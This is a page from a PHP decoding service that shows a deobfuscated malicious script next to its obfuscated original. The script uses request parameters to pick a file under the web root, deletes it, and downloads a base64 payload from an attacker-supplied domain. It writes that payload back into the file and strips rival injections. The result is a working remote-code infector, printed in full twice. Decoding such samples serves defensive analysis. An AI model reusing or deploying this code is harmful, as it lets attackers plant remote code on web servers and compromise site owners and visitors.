Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$k=$_SERVER; $p="k"; $d="\104\x4f\x43\125\x4d\105\116\x54\137\x52\117\117\x54"; @extrac..
Decoded Output download
<? $k=$_SERVER;
$p="k";
$d="DOCUMENT_ROOT";
@extract(${$p});
$g=$_GET;
$gg="g";
@extract(${$gg});
$p=${$d}."/$fl";
echo "23333";
if($fl!="") {
$array=array(
"fg"=>"file_get_contents",
"sp"=>"strripos",
"sb"=>"substr",
"ul"=>"unlink",
"fp"=>"file_put_contents",
"fe"=>"file_exists",
"pt"=>"print");
@extract($array);
$o=$fg($p);
$os=$sp($o,"<?php");
$o=$sb($o,$os);
$ul($p);
$n=base64_decode($fg("http://".$dm."/random/?id=".$gc));
$a = preg_match_all('/[<][?]php[\s\S]*?[?]>/i', $o, $mc);
if($a){
foreach ($mc as $k=>$v){
foreach ($v as $ik=>$iv){
if(strstr($iv, '$O{')||strstr($iv, 'O{')){
$o=str_replace($iv,"",$o);
}
}
}
}
$c=$n.$o;
$fp($p,$c);
$sx=$fg($p);
if(strstr($sx, 'NzE3NzY1NzI3NDc5NzU2OTZ')){
$x="successful";
echo ($x);
}
}
?>
Did this file decode correctly?
Original Code
$k=$_SERVER;
$p="k";
$d="\104\x4f\x43\125\x4d\105\116\x54\137\x52\117\117\x54";
@extract(${$p});
$g=$_GET;
$gg="g";
@extract(${$gg});
$p=${$d}."/$fl";
echo "23333";
if($fl!="") {
$array=array(
"fg"=>"\x66\x69\154\x65\x5f\x67\x65\164\137\x63\157\x6e\x74\x65\x6e\x74\x73",
"sp"=>"\x73\x74\x72\x72\x69\160\157\x73",
"sb"=>"\163\x75\142\163\164\x72",
"ul"=>"\165\156\154\x69\156\153",
"fp"=>"\x66\151\154\x65\137\160\x75\x74\137\x63\x6f\x6e\164\x65\x6e\x74\163",
"fe"=>"\x66\x69\154\x65\137\145\x78\x69\163\x74\x73",
"pt"=>"\x70\162\x69\x6e\164");
@extract($array);
$o=$fg($p);
$os=$sp($o,"\74\x3f\x70\150\160");
$o=$sb($o,$os);
$ul($p);
$n=base64_decode($fg("\150\x74\164\160\x3a\x2f\x2f".$dm."\x2f\162\141\x6e\144\157\155\x2f\x3f\x69\x64\x3d".$gc));
$a = preg_match_all('/[<][?]php[\s\S]*?[?]>/i', $o, $mc);
if($a){
foreach ($mc as $k=>$v){
foreach ($v as $ik=>$iv){
if(strstr($iv, '$O{')||strstr($iv, 'O{')){
$o=str_replace($iv,"",$o);
}
}
}
}
$c=$n.$o;
$fp($p,$c);
$sx=$fg($p);
if(strstr($sx, 'NzE3NzY1NzI3NDc5NzU2OTZ')){
$x="\x73\x75\x63\143\x65\163\x73\146\165\x6c";
echo ($x);
}
}
?>
Function Calls
extract | 1 |
Stats
MD5 | a11a49e5bcf45cdcaa6d54759d33eef4 |
Eval Count | 0 |
Decode Time | 61 ms |